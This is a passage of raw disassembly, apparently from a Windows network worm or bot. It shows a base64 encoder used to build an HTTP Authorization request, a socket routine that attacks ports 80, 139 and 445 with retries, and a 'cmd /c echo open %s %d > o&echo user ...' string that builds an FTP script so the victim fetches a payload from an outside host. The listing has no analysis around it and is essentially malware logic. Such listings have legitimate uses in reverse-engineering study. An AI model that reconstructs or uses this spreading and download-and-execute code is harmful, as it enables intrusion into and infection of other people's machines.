sub_40B7B6 proc near ; CODE XREF: sub_40B92D+23p
var_44 = qword ptr -44h
mov eax, offset loc_433F0B
call sub_4191E0
sub esp, 30h
push esi
lea eax, [ebp-0Dh]
push edi
xor esi, esi
push eax
lea ecx, [ebp-3Ch]
mov [ebp-24h], esi
call sub_40BBAE
push dword ptr [ebp+10h]
xor edi, edi
inc edi
mov [ebp-4], edi
call sub_40B76A
pop ecx
push eax
lea ecx, [ebp-3Ch]
call sub_40BCBA
cmp [ebp+10h], esi
mov [ebp-1Ch], esi
jbe loc_40B901
push ebx
mov ebx, [ebp+10h]
loc_40B7FE: ; CODE XREF: sub_40B7B6+144j
cmp dword ptr [ebp+10h], 3
jb short loc_40B809
push 3
loc_40B806: ; CODE XREF: sub_40B7B6+5Bj
pop ebx
jmp short loc_40B81A
; ---------------------------------------------------------------------------
loc_40B809: ; CODE XREF: sub_40B7B6+4Cj
cmp dword ptr [ebp+10h], 2
jnz short loc_40B813
push 2
jmp short loc_40B806
; ---------------------------------------------------------------------------
loc_40B813: ; CODE XREF: sub_40B7B6+57j
cmp [ebp+10h], edi
jnz short loc_40B81A
mov ebx, edi
loc_40B81A: ; CODE XREF: sub_40B7B6+51j
; sub_40B7B6+60j
and dword ptr [ebp-28h], 0
mov [ebp-2Ch], ebx
fild qword ptr [ebp-2Ch]
push ecx
push ecx ; double
fmul dbl_434470
fstp [esp+44h+var_44]
call sub_419950
pop ecx
pop ecx
call sub_41991C
test ebx, ebx
mov [ebp-20h], eax
jbe short loc_40B85B
mov esi, [ebp+0Ch]
mov ecx, ebx
mov edx, ecx
lea edi, [ebp-14h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
xor edi, edi
inc edi
loc_40B85B: ; CODE XREF: sub_40B7B6+8Aj
mov cl, [ebp-14h]
mov dl, [ebp-14h]
sar cl, 2
and cl, 3Fh
and dl, 3
mov [ebp-18h], cl
mov cl, [ebp-13h]
sar cl, 4
and cl, 0Fh
add [ebp+0Ch], ebx
shl dl, 4
add cl, dl
mov dl, [ebp-13h]
mov [ebp-17h], cl
mov cl, [ebp-12h]
sar cl, 6
and dl, 0Fh
sub [ebp+10h], ebx
and cl, 3
xor esi, esi
shl dl, 2
add cl, dl
mov [ebp-16h], cl
mov cl, [ebp-12h]
and cl, 3Fh
test eax, eax
mov [ebp-15h], cl
jbe short loc_40B8C8
add [ebp-1Ch], eax
loc_40B8AD: ; CODE XREF: sub_40B7B6+110j
movsx eax, byte ptr [ebp+esi-18h]
lea ecx, [ebp-3Ch]
mov al, byte_43FA50[eax]
push eax
push edi
call sub_40BC39
inc esi
cmp esi, [ebp-20h]
jb short loc_40B8AD
loc_40B8C8: ; CODE XREF: sub_40B7B6+F2j
cmp dword ptr [ebp-1Ch], 48h
jb short loc_40B8DD
push dword ptr [ebp+14h]
lea ecx, [ebp-3Ch]
call sub_40BC17
and dword ptr [ebp-1Ch], 0
loc_40B8DD: ; CODE XREF: sub_40B7B6+116j
push 4
pop esi
cmp [ebp-20h], esi
jnb short loc_40B8F6
sub esi, [ebp-20h]
loc_40B8E8: ; CODE XREF: sub_40B7B6+13Ej
push 3Dh
push edi
lea ecx, [ebp-3Ch]
call sub_40BC39
dec esi
jnz short loc_40B8E8
loc_40B8F6: ; CODE XREF: sub_40B7B6+12Dj
cmp dword ptr [ebp+10h], 0
ja loc_40B7FE
pop ebx
loc_40B901: ; CODE XREF: sub_40B7B6+3Ej
mov ecx, [ebp+8]
lea eax, [ebp-3Ch]
push eax
call sub_40BBC6
mov [ebp-24h], edi
and byte ptr [ebp-4], 0
lea ecx, [ebp-3Ch]
call sub_40BC0F
mov ecx, [ebp-0Ch]
mov eax, [ebp+8]
pop edi
pop esi
mov large fs:0, ecx
leave
retn
sub_40B7B6 endp
; =============== S U B R O U T I N E =======================================
sub_40B92D proc near ; CODE XREF: .data:0040BB0Fp
mov eax, offset loc_433F25
call sub_4191E0
sub esp, 10h
push ebx
push esi
push edi
push offset word_4D9382
and dword ptr [ebp-4], 0
push dword ptr [ebp+10h]
lea eax, [ebp-1Ch]
push dword ptr [ebp+0Ch]
push eax
call sub_40B7B6
add esp, 10h
lea ecx, [ebp-1Ch]
mov byte ptr [ebp-4], 1
call sub_40BCB6
lea ecx, [ebp+14h]
mov esi, eax
call sub_40BCB6
lea esi, [esi+eax+36h]
push esi
call sub_415090
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40B983
xor bl, bl
jmp short loc_40B9C2
; ---------------------------------------------------------------------------
loc_40B983: ; CODE XREF: sub_40B92D+50j
lea ecx, [ebp-1Ch]
call sub_40BCA9
push eax
lea ecx, [ebp+14h]
call sub_40BCA9
push eax
push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
push esi
push edi
call sub_417E80
add esp, 14h
push 0
push esi
push edi
push dword ptr [ebp+8]
call dword_4D66B8 ; send
cmp eax, esi
jz short loc_40B9B9
xor bl, bl
jmp short loc_40B9BB
; ---------------------------------------------------------------------------
loc_40B9B9: ; CODE XREF: sub_40B92D+86j
mov bl, 1
loc_40B9BB: ; CODE XREF: sub_40B92D+8Aj
push edi
call sub_415C20
pop ecx
loc_40B9C2: ; CODE XREF: sub_40B92D+54j
and byte ptr [ebp-4], 0
lea ecx, [ebp-1Ch]
call sub_40BC0F
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp+14h]
call sub_40BC0F
mov ecx, [ebp-0Ch]
pop edi
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40B92D endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 424h
and byte ptr [ebp-424h], 0
push ebx
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp-423h]
push 8Fh
rep stosd
stosw
stosb
lea eax, [ebp-424h]
push offset sub_43FC00
push eax
call sub_419330
add esp, 0Ch
mov eax, offset byte_4370EC
push eax
push eax
movzx eax, word ptr dword_4D63A0
push eax
push dword ptr [ebp+8]
call sub_408882
pop ecx
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
lea eax, [ebp-395h]
push 400h
push eax
call sub_417E80
add eax, 90h
push eax
lea eax, [ebp-424h]
push eax
push 164h
lea eax, [ebp-8]
push offset sub_43FA98
push eax
call sub_40B21F
xor ebx, ebx
add esp, 30h
cmp [ebp-4], ebx
jnz short loc_40BA89
xor eax, eax
jmp loc_40BB93
; ---------------------------------------------------------------------------
loc_40BA89: ; CODE XREF: .data:0040BA80j
mov [ebp-0Ch], ebx
loc_40BA8C: ; CODE XREF: .data:0040BB6Ej
test ebx, ebx
jnz loc_40BB74
push 6
push 1
push 2
call dword_4E051C ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz loc_40BB5C
xor eax, eax
lea edi, [ebp-1Eh]
stosd
push dword ptr [ebp+0A8h]
stosd
stosd
stosw
mov word ptr [ebp-20h], 2
call dword_4D6668 ; ntohs
mov [ebp-1Eh], ax
lea eax, [ebp+0Ch]
push eax
call dword_4D66A8 ; inet_addr
mov [ebp-1Ch], eax
lea eax, [ebp-20h]
push 10h
push eax
push esi
call dword_4D6610 ; connect
cmp eax, 0FFFFFFFFh
jz short loc_40BB51
cmp dword ptr [ebp+0A8h], 50h
jnz short loc_40BB19
sub esp, 10h
lea eax, [ebp-0Dh]
mov ecx, esp
mov [ebp-24h], esp
push eax
lea eax, [ebp+0Ch]
push eax
call sub_40BBEC
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push esi
call sub_40B92D
add esp, 1Ch
jmp short loc_40BB4E
; ---------------------------------------------------------------------------
loc_40BB19: ; CODE XREF: .data:0040BAF1j
cmp dword ptr [ebp+0A8h], 8Bh
jnz short loc_40BB33
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push esi
call sub_40B718
jmp short loc_40BB4B
; ---------------------------------------------------------------------------
loc_40BB33: ; CODE XREF: .data:0040BB23j
cmp dword ptr [ebp+0A8h], 1BDh
jnz short loc_40BB51
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push esi
call sub_40B639
loc_40BB4B: ; CODE XREF: .data:0040BB31j
add esp, 0Ch
loc_40BB4E: ; CODE XREF: .data:0040BB17j
movzx ebx, al
loc_40BB51: ; CODE XREF: .data:0040BAE8j
; .data:0040BB3Dj
push esi
call dword_4D6700 ; closesocket
test ebx, ebx
jnz short loc_40BB67
loc_40BB5C: ; CODE XREF: .data:0040BAA5j
push 3E8h
call dword_4E033C ; Sleep
loc_40BB67: ; CODE XREF: .data:0040BB5Aj
inc dword ptr [ebp-0Ch]
cmp dword ptr [ebp-0Ch], 2
jl loc_40BA8C
loc_40BB74: ; CODE XREF: .data:0040BA8Ej
lea ecx, [ebp-8]
call sub_40B04C
test ebx, ebx
jz short loc_40BB91
mov eax, [ebp+0B0h]
shl eax, 6
lea eax, dword_43F070[eax]
inc dword ptr [eax]
loc_40BB91: ; CODE XREF: .data:0040BB7Ej
mov eax, ebx
loc_40BB93: ; CODE XREF: .data:0040BA84j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40BB98: ; DATA XREF: .data:00437008o
call sub_40C15A
jmp $+5
push offset nullsub_1
call sub_419F60
pop ecx
retn
; =============== S U B R O U T I N E =======================================
sub_40BBAE proc near ; CODE XREF: sub_40B7B6+1Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov al, [eax]
mov [esi], al
call sub_40BF18
mov eax, esi
pop esi
retn 4
sub_40BBAE endp
; =============== S U B R O U T I N E =======================================
sub_40BBC6 proc near ; CODE XREF: sub_40B7B6+152p
; sub_4332D0+3Cp ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
push 0
mov al, [edi]
mov [esi], al
call sub_40BF18
push 0FFFFFFFFh
push 0
push edi
mov ecx, esi
call sub_40BD29
mov eax, esi
pop edi
pop esi
retn 4
sub_40BBC6 endp
; =============== S U B R O U T I N E =======================================
sub_40BBEC proc near ; CODE XREF: .data:0040BB03p
; sub_433270+27p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push 0
mov al, [eax]
mov [esi], al
call sub_40BF18
push [esp+4+arg_0]
mov ecx, esi
call sub_40BE1F
mov eax, esi
pop esi
retn 8
sub_40BBEC endp
; =============== S U B R O U T I N E =======================================
sub_40BC0F proc near ; CODE XREF: sub_40B7B6+161p
; sub_40B92D+9Cp ...
push 1
call sub_40BF18
retn
sub_40BC0F endp
; =============== S U B R O U T I N E =======================================
sub_40BC17 proc near ; CODE XREF: sub_40B7B6+11Ep
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_40BC34
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_40BCCE
pop esi
retn 4
sub_40BC17 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40BC34 proc near ; CODE XREF: sub_40BC17+7p
; sub_40BE1F+7p
jmp sub_414EC0
sub_40BC34 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BC39 proc near ; CODE XREF: sub_40B7B6+107p
; sub_40B7B6+138p
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, ecx
or eax, 0FFFFFFFFh
push edi
sub eax, [esi+8]
cmp eax, [ebp+arg_0]
ja short loc_40BC50
call sub_433270
loc_40BC50: ; CODE XREF: sub_40BC39+10j
cmp [ebp+arg_0], 0
jbe short loc_40BC88
mov edi, [esi+8]
push 0
add edi, [ebp+arg_0]
mov ecx, esi
push edi
call sub_40BE6C
test al, al
jz short loc_40BC88
lea eax, [ebp+arg_4]
push eax
mov eax, [esi+4]
push [ebp+arg_0]
add eax, [esi+8]
push eax
call sub_40BC90
add esp, 0Ch
mov ecx, esi
push edi
call sub_40BE3C
loc_40BC88: ; CODE XREF: sub_40BC39+1Bj
; sub_40BC39+2Fj
mov eax, esi
pop edi
pop esi
pop ebp
retn 8
sub_40BC39 endp
; =============== S U B R O U T I N E =======================================
sub_40BC90 proc near ; CODE XREF: sub_40BC39+3Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
push [esp+arg_4]
movsx eax, byte ptr [eax]
push eax
push [esp+8+arg_0]
call sub_417700
add esp, 0Ch
retn
sub_40BC90 endp
; =============== S U B R O U T I N E =======================================
sub_40BCA9 proc near ; CODE XREF: sub_40B92D+59p
; sub_40B92D+62p ...
; FUNCTION CHUNK AT 0040BF12 SIZE 00000006 BYTES
mov eax, [ecx+4]
test eax, eax
jnz short locret_40BCB5
jmp loc_40BF12
; ---------------------------------------------------------------------------
locret_40BCB5: ; CODE XREF: sub_40BCA9+5j
retn
sub_40BCA9 endp
; =============== S U B R O U T I N E =======================================
sub_40BCB6 proc near ; CODE XREF: sub_40B92D+32p
; sub_40B92D+3Cp
mov eax, [ecx+8]
retn
sub_40BCB6 endp
; =============== S U B R O U T I N E =======================================
sub_40BCBA proc near ; CODE XREF: sub_40B7B6+33p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp [ecx+0Ch], eax
jnb short locret_40BCCB
push 0
push eax
call sub_40BE6C
locret_40BCCB: ; CODE XREF: sub_40BCBA+7j
retn 4
sub_40BCBA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BCCE proc near ; CODE XREF: sub_40BC17+14p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, ecx
or eax, 0FFFFFFFFh
push edi
sub eax, [esi+8]
cmp eax, [ebp+arg_4]
ja short loc_40BCE5
call sub_433270
loc_40BCE5: ; CODE XREF: sub_40BCCE+10j
cmp [ebp+arg_4], 0
jbe short loc_40BD1C
mov edi, [esi+8]
push 0
add edi, [ebp+arg_4]
mov ecx, esi
push edi
call sub_40BE6C
test al, al
jz short loc_40BD1C
push [ebp+arg_4]
mov eax, [esi+4]
add eax, [esi+8]
push [ebp+arg_0]
push eax
call sub_40BD24
add esp, 0Ch
mov ecx, esi
push edi
call sub_40BE3C
loc_40BD1C: ; CODE XREF: sub_40BCCE+1Bj
; sub_40BCCE+2Fj
mov eax, esi
pop edi
pop esi
pop ebp
retn 8
sub_40BCCE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40BD24 proc near ; CODE XREF: sub_40BCCE+3Ep
; sub_40BD29+D9p ...
jmp sub_419330
sub_40BD24 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BD29 proc near ; CODE XREF: sub_40BBC6+1Ap
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
mov ecx, [ebp+arg_0]
push edi
call sub_40BE1B
mov ebx, [ebp+arg_4]
cmp eax, ebx
jnb short loc_40BD45
call sub_433570
loc_40BD45: ; CODE XREF: sub_40BD29+15j
mov ecx, [ebp+arg_0]
call sub_40BE1B
mov edi, eax
sub edi, ebx
cmp [ebp+arg_8], edi
jnb short loc_40BD59
mov edi, [ebp+arg_8]
loc_40BD59: ; CODE XREF: sub_40BD29+2Bj
mov ecx, [ebp+arg_0]
cmp esi, ecx
jnz short loc_40BD7B
add edi, ebx
push 0FFFFFFFFh
push edi
mov ecx, esi
call sub_40BFA8
push ebx
push 0
mov ecx, esi
call sub_40BFA8
jmp loc_40BE12
; ---------------------------------------------------------------------------
loc_40BD7B: ; CODE XREF: sub_40BD29+35j
test edi, edi
jbe short loc_40BDE4
call sub_40BE1B
cmp edi, eax
jnz short loc_40BDE4
mov ecx, [ebp+arg_0]
call sub_40BCA9
push eax
mov ecx, esi
call sub_40C0ED
cmp byte ptr [eax], 0FEh
jnb short loc_40BDE4
push [ebp+arg_0]
push esi
call sub_40C145
pop ecx
test al, al
pop ecx
jz short loc_40BDE4
push 1
mov ecx, esi
call sub_40BF18
mov ecx, [ebp+arg_0]
call sub_40BCA9
mov ecx, [ebp+arg_0]
mov [esi+4], eax
call sub_40BE1B
mov ecx, [ebp+arg_0]
mov [esi+8], eax
call sub_40C024
push dword ptr [esi+4]
mov ecx, esi
mov [esi+0Ch], eax
call sub_40C0ED
inc byte ptr [eax]
jmp short loc_40BE12
; ---------------------------------------------------------------------------
loc_40BDE4: ; CODE XREF: sub_40BD29+54j
; sub_40BD29+5Dj ...
push 1
push edi
mov ecx, esi
call sub_40BE6C
test al, al
jz short loc_40BE12
mov ecx, [ebp+arg_0]
push edi
call sub_40BCA9
add eax, [ebp+arg_4]
push eax
push dword ptr [esi+4]
call sub_40BD24
add esp, 0Ch
mov ecx, esi
push edi
call sub_40BE3C
loc_40BE12: ; CODE XREF: sub_40BD29+4Dj
; sub_40BD29+B9j ...
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_40BD29 endp
; =============== S U B R O U T I N E =======================================
sub_40BE1B proc near ; CODE XREF: sub_40BD29+Bp
; sub_40BD29+1Fp ...
mov eax, [ecx+8]
retn
sub_40BE1B endp
; =============== S U B R O U T I N E =======================================
sub_40BE1F proc near ; CODE XREF: sub_40BBEC+18p
; sub_40C102+27p
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_40BC34
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_40BF72
pop esi
retn 4
sub_40BE1F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BE3C proc near ; CODE XREF: sub_40BC39+4Ap
; sub_40BCCE+49p ...
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
and [ebp+var_1], 0
mov [ecx+8], eax
mov ecx, [ecx+4]
lea edx, [ebp+var_1]
add ecx, eax
push edx
push ecx
call sub_40BE5F
pop ecx
pop ecx
leave
retn 4
sub_40BE3C endp
; =============== S U B R O U T I N E =======================================
sub_40BE5F proc near ; CODE XREF: sub_40BE3C+18p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
mov al, [eax]
mov [ecx], al
retn
sub_40BE5F endp
; =============== S U B R O U T I N E =======================================
sub_40BE6C proc near ; CODE XREF: sub_40BC39+28p
; sub_40BCBA+Cp ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push ebx
push esi
push edi
mov esi, ecx
call sub_40C012
mov edi, [esp+0Ch+arg_0]
cmp eax, edi
jnb short loc_40BE83
call sub_433270
loc_40BE83: ; CODE XREF: sub_40BE6C+10j
mov eax, [esi+4]
xor ebx, ebx
cmp eax, ebx
jz short loc_40BEC3
push eax
mov ecx, esi
call sub_40C0ED
cmp [eax], bl
jz short loc_40BEC3
push dword ptr [esi+4]
mov ecx, esi
call sub_40C0ED
cmp byte ptr [eax], 0FFh
jz short loc_40BEC3
cmp edi, ebx
mov ecx, esi
jnz short loc_40BF04
push dword ptr [esi+4]
call sub_40C0ED
dec byte ptr [eax]
push ebx
loc_40BEB8: ; CODE XREF: sub_40BE6C+63j
mov ecx, esi
call sub_40BF18
loc_40BEBF: ; CODE XREF: sub_40BE6C+68j
; sub_40BE6C+72j
xor al, al
jmp short loc_40BF0C
; ---------------------------------------------------------------------------
loc_40BEC3: ; CODE XREF: sub_40BE6C+1Ej
; sub_40BE6C+2Aj ...
cmp edi, ebx
jnz short loc_40BEE0
cmp [esp+0Ch+arg_4], bl
jz short loc_40BED1
push 1
jmp short loc_40BEB8
; ---------------------------------------------------------------------------
loc_40BED1: ; CODE XREF: sub_40BE6C+5Fj
cmp [esi+4], ebx
jz short loc_40BEBF
push ebx
mov ecx, esi
call sub_40BE3C
jmp short loc_40BEBF
; ---------------------------------------------------------------------------
loc_40BEE0: ; CODE XREF: sub_40BE6C+59j
cmp [esp+0Ch+arg_4], bl
jz short loc_40BEFD
mov eax, [esi+0Ch]
cmp eax, 1Fh
ja short loc_40BEF2
cmp eax, edi
jnb short loc_40BF0A
loc_40BEF2: ; CODE XREF: sub_40BE6C+80j
push 1
mov ecx, esi
call sub_40BF18
jmp short loc_40BF02
; ---------------------------------------------------------------------------
loc_40BEFD: ; CODE XREF: sub_40BE6C+78j
cmp [esi+0Ch], edi
jnb short loc_40BF0A
loc_40BF02: ; CODE XREF: sub_40BE6C+8Fj
mov ecx, esi
loc_40BF04: ; CODE XREF: sub_40BE6C+3Fj
push edi
call sub_40C028
loc_40BF0A: ; CODE XREF: sub_40BE6C+84j
; sub_40BE6C+94j
mov al, 1
loc_40BF0C: ; CODE XREF: sub_40BE6C+55j
pop edi
pop esi
pop ebx
retn 8
sub_40BE6C endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_40BCA9
loc_40BF12: ; CODE XREF: sub_40BCA9+7j
mov eax, offset dword_434478
retn
; END OF FUNCTION CHUNK FOR sub_40BCA9
; =============== S U B R O U T I N E =======================================
sub_40BF18 proc near ; CODE XREF: sub_40BBAE+Dp
; sub_40BBC6+Ep ...
arg_0 = byte ptr 4
push ebx
xor ebx, ebx
cmp [esp+4+arg_0], bl
push esi
mov esi, ecx
jz short loc_40BF64
mov eax, [esi+4]
cmp eax, ebx
jz short loc_40BF64
push eax
call sub_40C0ED
cmp [eax], bl
jz short loc_40BF52
push dword ptr [esi+4]
mov ecx, esi
call sub_40C0ED
cmp byte ptr [eax], 0FFh
jz short loc_40BF52
push dword ptr [esi+4]
mov ecx, esi
call sub_40C0ED
dec byte ptr [eax]
jmp short loc_40BF64
; ---------------------------------------------------------------------------
loc_40BF52: ; CODE XREF: sub_40BF18+1Bj
; sub_40BF18+2Aj
mov eax, [esi+0Ch]
mov ecx, esi
inc eax
inc eax
push eax
mov eax, [esi+4]
dec eax
push eax
call sub_40C0F5
loc_40BF64: ; CODE XREF: sub_40BF18+Aj
; sub_40BF18+11j ...
mov [esi+4], ebx
mov [esi+8], ebx
mov [esi+0Ch], ebx
pop esi
pop ebx
retn 4
sub_40BF18 endp
; =============== S U B R O U T I N E =======================================
sub_40BF72 proc near ; CODE XREF: sub_40BE1F+14p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
push [esp+8+arg_4]
mov esi, ecx
call sub_40BE6C
test al, al
jz short loc_40BFA2
push [esp+4+arg_4]
push [esp+8+arg_0]
push dword ptr [esi+4]
call sub_40BD24
add esp, 0Ch
mov ecx, esi
push [esp+4+arg_4]
call sub_40BE3C
loc_40BFA2: ; CODE XREF: sub_40BF72+10j
mov eax, esi
pop esi
retn 8
sub_40BF72 endp
; =============== S U B R O U T I N E =======================================
sub_40BFA8 proc near ; CODE XREF: sub_40BD29+3Ep
; sub_40BD29+48p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, ecx
cmp [edi+8], esi
jnb short loc_40BFBB
call sub_433570
loc_40BFBB: ; CODE XREF: sub_40BFA8+Cj
mov ecx, edi
call sub_40C102
mov eax, [edi+8]
mov ebx, [esp+0Ch+arg_4]
sub eax, esi
cmp eax, ebx
jnb short loc_40BFD1
mov ebx, eax
loc_40BFD1: ; CODE XREF: sub_40BFA8+25j
test ebx, ebx
jbe short loc_40C005
mov ecx, [edi+4]
sub eax, ebx
add ecx, esi
push eax
lea eax, [ecx+ebx]
push eax
push ecx
call sub_40C00D
mov esi, [edi+8]
add esp, 0Ch
sub esi, ebx
mov ecx, edi
push 0
push esi
call sub_40BE6C
test al, al
jz short loc_40C005
push esi
mov ecx, edi
call sub_40BE3C
loc_40C005: ; CODE XREF: sub_40BFA8+2Bj
; sub_40BFA8+53j
mov eax, edi
pop edi
pop esi
pop ebx
retn 8
sub_40BFA8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40C00D proc near ; CODE XREF: sub_40BFA8+3Ap
jmp sub_419A90
sub_40C00D endp
; =============== S U B R O U T I N E =======================================
sub_40C012 proc near ; CODE XREF: sub_40BE6C+5p
; sub_40C028+1Ep
call sub_40C141
cmp eax, 2
ja short loc_40C020
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_40C020: ; CODE XREF: sub_40C012+8j
add eax, 0FFFFFFFEh
retn
sub_40C012 endp
; =============== S U B R O U T I N E =======================================
sub_40C024 proc near ; CODE XREF: sub_40BD29+A5p
mov eax, [ecx+0Ch]
retn
sub_40C024 endp
; =============== S U B R O U T I N E =======================================
sub_40C028 proc near ; CODE XREF: sub_40BE6C+99p
mov eax, offset loc_433F30
call sub_4191E0
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+8]
mov esi, ecx
mov [ebp-10h], esp
mov [ebp-14h], esi
or edi, 1Fh
call sub_40C012
cmp eax, edi
jnb short loc_40C052
mov edi, [ebp+8]
loc_40C052: ; CODE XREF: sub_40C028+25j
and dword ptr [ebp-4], 0
lea eax, [edi+2]
push 0
push eax
mov ecx, esi
call sub_40C131
mov [ebp+8], eax
jmp short loc_40C08B
; ---------------------------------------------------------------------------
loc_40C068: ; DATA XREF: .data:00436350o
mov eax, [ebp+8]
mov ecx, [ebp-14h]
mov [ebp-18h], eax
add eax, 2
push 0
push eax
call sub_40C131
mov [ebp+8], eax
mov eax, offset loc_40C085
retn
; ---------------------------------------------------------------------------
loc_40C085: ; DATA XREF: sub_40C028+57o
mov esi, [ebp-14h]
mov edi, [ebp-18h]
loc_40C08B: ; CODE XREF: sub_40C028+3Ej
mov eax, [esi+8]
or dword ptr [ebp-4], 0FFFFFFFFh
test eax, eax
jbe short loc_40C0AD
cmp eax, edi
jbe short loc_40C09C
mov eax, edi
loc_40C09C: ; CODE XREF: sub_40C028+70j
push eax
mov eax, [ebp+8]
push dword ptr [esi+4]
inc eax
push eax
call sub_40BD24
add esp, 0Ch
loc_40C0AD: ; CODE XREF: sub_40C028+6Cj
mov ebx, [esi+8]
push 1
mov ecx, esi
call sub_40BF18
mov eax, [ebp+8]
mov ecx, esi
inc eax
push eax
mov [esi+4], eax
call sub_40C0ED
and byte ptr [eax], 0
cmp ebx, edi
mov [esi+0Ch], edi
ja short loc_40C0D4
mov edi, ebx
loc_40C0D4: ; CODE XREF: sub_40C028+A8j
push edi
mov ecx, esi
call sub_40BE3C
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_40C028 endp
; =============== S U B R O U T I N E =======================================
sub_40C0ED proc near ; CODE XREF: sub_40BD29+6Ap
; sub_40BD29+B2p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
dec eax
retn 4
sub_40C0ED endp
; =============== S U B R O U T I N E =======================================
sub_40C0F5 proc near ; CODE XREF: sub_40BF18+47p
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_419DD0
pop ecx
retn 8
sub_40C0F5 endp
; =============== S U B R O U T I N E =======================================
sub_40C102 proc near ; CODE XREF: sub_40BFA8+15p
push esi
mov esi, ecx
push edi
mov edi, [esi+4]
test edi, edi
jz short loc_40C12E
push edi
call sub_40C0ED
mov al, [eax]
test al, al
jz short loc_40C12E
cmp al, 0FFh
jz short loc_40C12E
push 1
mov ecx, esi
call sub_40BF18
push edi
mov ecx, esi
call sub_40BE1F
loc_40C12E: ; CODE XREF: sub_40C102+9j
; sub_40C102+15j ...
pop edi
pop esi
retn
sub_40C102 endp
; =============== S U B R O U T I N E =======================================
sub_40C131 proc near ; CODE XREF: sub_40C028+36p
; sub_40C028+4Fp
arg_0 = dword ptr 4
push 0
push [esp+4+arg_0]
call sub_40C148
pop ecx
pop ecx
retn 8
sub_40C131 endp
; =============== S U B R O U T I N E =======================================
sub_40C141 proc near ; CODE XREF: sub_40C012p
or eax, 0FFFFFFFFh
retn
sub_40C141 endp
; =============== S U B R O U T I N E =======================================
sub_40C145 proc near ; CODE XREF: sub_40BD29+78p
mov al, 1
retn
sub_40C145 endp
; =============== S U B R O U T I N E =======================================
sub_40C148 proc near ; CODE XREF: sub_40C131+6p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jge short loc_40C152
xor eax, eax
loc_40C152: ; CODE XREF: sub_40C148+6j
push eax
call sub_419E80
pop ecx
retn
sub_40C148 endp
; =============== S U B R O U T I N E =======================================
sub_40C15A proc near ; CODE XREF: .data:loc_40BB98p
; sub_4336B0+3p
test byte_4DE308, 1
jnz short locret_40C16A
or byte_4DE308, 1
locret_40C16A: ; CODE XREF: sub_40C15A+7j
retn
sub_40C15A endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C16C proc near ; CODE XREF: sub_40A84F+1D7p
; DATA XREF: .data:off_43F06Co
var_5214 = byte ptr -5214h
var_4214 = byte ptr -4214h
var_3214 = byte ptr -3214h
var_3212 = byte ptr -3212h
var_2214 = byte ptr -2214h
var_21F0 = byte ptr -21F0h
var_1FE0 = byte ptr -1FE0h
var_1FDC = byte ptr -1FDCh
var_1214 = byte ptr -1214h
var_120C = dword ptr -120Ch
var_1204 = dword ptr -1204h
var_1194 = dword ptr -1194h
var_1190 = dword ptr -1190h
var_1160 = dword ptr -1160h
var_115C = dword ptr -115Ch
var_1144 = dword ptr -1144h
var_1088 = dword ptr -1088h
var_EB4 = dword ptr -0EB4h
var_EAC = dword ptr -0EACh
var_214 = byte ptr -214h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
